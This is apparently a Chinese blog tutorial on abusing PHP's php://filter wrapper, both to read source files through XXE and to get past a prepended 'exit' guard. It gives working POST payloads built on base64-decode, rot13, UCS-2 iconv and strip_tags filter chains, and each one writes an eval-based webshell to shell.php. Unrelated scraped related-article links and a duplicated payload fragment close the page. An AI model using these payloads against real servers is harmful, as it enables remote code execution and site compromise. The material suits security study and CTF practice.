php://filter的妙用

php://filter是PHP中独有的协议,利用这个协议可以创造很多“妙用”。

php://filter

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter 目标使用以下的参数作为它路径的一部分。 复合过滤链能够在一个路径上指定。

example:

php://filter/resource=http://www.example.com        //没有进行任何过滤,直接读取
php://filter/read=string.toupper/resource=xxx.php    //对文件的内容进行大写转换后读取
php://filter/convert.base64-encode/resource=xxx.php        //对文件进行base64加密后读取
php://filter/read=string.toupper|string.rot13/resource=xxx.php    //对文件的内容进行大写转换后并使用rot13加密后读取
php://filter/write=string.rot13/resource=example.txt","Hello World
//这会通过 rot13 过滤器筛选出字符 "Hello World",然后写入当前目录下的 example.txt

XXE中的使用

php://filter之前最常出镜的地方是XXE。由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,<?php ... ?>这个语法也与XML相符合,所以在解析XML的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

那么,为了读取包含有敏感信息的PHP等源文件,我们就要先将“可能引发冲突的PHP代码”编码一遍,这里就会用到php://filter。

php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:

readfile("php://filter/read=convert.base64-encode/resource=php://input");

所以,在XXE中,我们也可以将PHP等容易引发冲突的文件流用php://filter协议流处理一遍,这样就能有效规避特殊字符造成混乱。

巧用编码与解码

使用编码不光可以帮助我们获取文件,也可以帮我们去除一些“不必要的麻烦”。

像有一段代码如下:

$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)。那么这种情况下,如何绕过这个“死亡exit”?

base64解码

幸运的是,这里的$_POST['filename']是可以控制协议的,我们即可使用 php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$content解码,利用php base64_decode函数特性去除“死亡exit”。

众所周知,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。

所以,一个正常的base64_decode实际上可以理解为如下两个步骤:

$_GET['txt'] = preg_replace('/[^a-z0-9A-Z+/]/s', '', $_GET['txt']);
base64_decode($_GET['txt']);

先把64个字符以外的内容替换为空,然后再进行base64解码。

所以,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<?;>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有phpexit和我们传入的其他字符。

phpexit一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个a一共8个字符。这样,phpexita被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是<?php exit; ?>没有了。

payload:

POST:
txt=aPD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&filename=php://filter/write=convert.base64-decode/resource=shell.php

注意在txt的前面要加一个任意字符,最后写入的shell

rot13编码

除此之外,我们还可以利用rot13编码独立完成任务。原理和上面类似,核心是将“死亡exit”去除。<?php exit; ?>在经过rot13编码后会变成<?cuc rkvg; ?>,在PHP不开启short_open_tag时,php不认识这个字符串,当然也就不会执行了:

POST:
txt=<?cuc riny($_CBFG[pzq]);?>&filename=php://filter/write=string.rot13/resource=shell.php

iconv.UCS-2LE.UCS-2BE

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

iconv ( string $in_charset , string $out_charset , string $str ) : string

将字符串 strin_charset 转换编码到 out_charset

这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上

$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[aa]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);//输出结果如下:
//经过一次反转:?<hp pe@av(l_$OPTSa[]a;)>?
//经过第二次反转:<?php @eval($_POST[aa]);?>

可以看到,经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行

payload:

POST:
txt=?<hp pe@av(l_$OPTSa[]a;)>?&filename=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6xOkNbsw-1649929089147)(https://raw.githubusercontent.com/JOHN-FROD/PicGo/main/blog-img/20210605161811.png)]

利用字符串操作方法

除了使用base64特性的方法外,我们还可以利用php://filter字符串处理方法来去除“死亡exit”。我们观察一下,这个<?php exit; ?>实际上是什么?

实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

编写如下测试代码即可查看 php://filter/read=string.strip_tags/resource=php://input的效果:

echo readfile('php://filter/read=string.strip_tags/resource=php://input');

这里复现失败了,标签里面的内容并没有过滤,可能是版本原因?

可见,<?php exit; ?>被去除了。但回到上面的题目,我们最终的目的是写入一个webshell,而写入的webshell也是php代码,如果使用strip_tags同样会被去除。

万幸的是,php://filter允许使用多个过滤器,我们可以先将webshell用base64编码。在调用完成strip_tags后再进行base64-decode。“死亡exit”在第一步被去除,而webshell在第二步被还原。

payload:

POST:
txt=PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
yload:

POST:
txt=PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php

phpfilter的妙用相关推荐

  1. 妙用postman系列——postman建组、分享

    妙用postman系列--postman建组.分享 添加新的组和请求. 3.生成分享链接 4.导入分享链接

  2. 奇妙的算法之LCS妙解

    LCS算法妙解 LCS问题简述:最长公共子序列 一个数列 S,如果分别是两个或多个已知数列的子序列,且是所有符合此条件序列中最长的,则S 称为已知序列的最长公共子序列. LCS问题的分支:最长公共子串 ...

  3. rust矿洞绳子怎么爬下_车底下绑一根绳子妙用在哪?看看老司机怎么说!

    汽车的出现提高了我们工作和生活的效率,但汽车也是一个"伤人利器",如果不好好了解关于汽车的一些知识,在使用的过程中就可能会出现一些错误操作,导致汽车和我们自身都受到伤害:所以老司机 ...

  4. js 与或运算符 || 妙用

    js 与或运算符 || && 妙用,可用于精简代码,降低程序的可读性. 首先出个题: 如图:  假设对成长速度显示规定如下:  成长速度为5显示1个箭头:  成长速度为10显示2个箭头 ...

  5. [高级]android应用开发之intent的妙用二

    相信做android应用开发的朋友对intent组件都已经是相当熟悉了,这里鄙人总结一下intent的妙用,希望对大家有帮助. intent妙用之列出所有已安装的应用程序列表 装载:http://bl ...

  6. C#对Microsoft.VisualBasic My对象兰台妙选【月儿原创】

    C#对Microsoft.VisualBasic My对象兰台妙选 作者:清清月儿 主页:http://blog.csdn.net/21aspnet/           时间:2007.4.24   ...

  7. python哪些是可变对象_python的不可变对象与可变对象及其妙用与坑

    先上图. 图里,分别用三个整数进行了验证.可以发现当a和b值相同时,a与b地址也一致.改变a的值,a的地址也跟着改变了. 原因 python的宗旨之一,万物皆对象.(单身狗狂喜) 而对象又被分为可变对 ...

  8. method=post 怎么让查看源代码看不到_网站文档不能复制怎么办?教你3个小妙招,1分钟轻松化解...

    不知道大家平常在查找资料时,碰到网页资料不能下载时,是怎么样进行处理的.那么笔者今天就来分享我查找不能复制文档时,所用的3个小妙招,帮助轻松化解,一起来看看吧. 1.保存网页 当我们遇到一个不能直接复 ...

  9. 《妙解Hibernate 3.X》读书笔记一-Hibernate概述及环境搭建

    很早就想开始Hibernate的系统学习,但是一是工作原因,二是苦于找不到合适的书籍.Hibernate更新较快,一些被称为经典的书籍,如<深入浅出Hibernate>.<Hiber ...

最新文章

  1. ORA-00959: tablespace 'PSAPTEMP' does not exist
  2. CCNP认证后七年的三个阶段[转载]
  3. elasticsearch -- head插件
  4. 数据结构---BF字符串模式匹配
  5. UVA-11536 Smallest Sub-Array
  6. [机器学习]正则化项L1和L2的学习与理解
  7. 微型计算机 总结,微机室活动总结
  8. linux作业1-第二章
  9. Memcached、Redis、RabbitMQ
  10. 如何提高代码复用性,定义骨架?
  11. Unity3D 2018版本 Post Process 后期处理插件使用介绍
  12. YD5141SYZ后压缩式垃圾车的上装箱体设计
  13. 大一python期末总结
  14. win10 无法查看工作组计算机名,win10系统无法查看工作组计算机的技巧
  15. 理解SPI/Dual SPI/Quad SPI/QPI之间的区别
  16. 前端开发应收藏的各大网站
  17. 【华人学者风采】崔斌 北京大学
  18. 交通事故的处理流程有什么规定
  19. 中英翻译《The number thirteen数字13》
  20. VM安装Ubuntu 16.04

热门文章

  1. 服务器怎么修改mac地址怎么办,服务器修改mac地址重启后会恢復原mac吗?
  2. 多传感器时频信号处理:多通道非平稳数据的分析工具(Matlab代码实现)
  3. 【PC工具】更新在线图片文字识别工具,OCR免费文字识别工具
  4. 学ui需要了解html,学UI设计需要掌握文案知识吗
  5. 网络流量分析详解(包含OSI七层模型、TCP协议及Wireshark工具用法)
  6. 即时编译器的中间表达形式(IR)
  7. 富爸爸系列全集图书清单
  8. 解决ERROR Failed to compile with 3 errors These dependencies were not found: * pdfjs-dist/es5/buil问题
  9. 函数设计中参数的规则
  10. 解决the database principal owns a schema in the database and cannot be dropped问题